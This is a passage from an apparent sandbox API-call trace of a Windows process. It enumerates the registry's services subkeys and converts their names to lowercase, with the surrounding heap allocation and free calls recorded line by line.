(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.773] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0234.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.774] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0234.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0234.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0234.775] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0234.776] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0234.777] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0234.778] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0234.779] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0234.780] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0234.781] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0234.782] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0234.783] RegEnumKeyW (in: hKey=0x150, 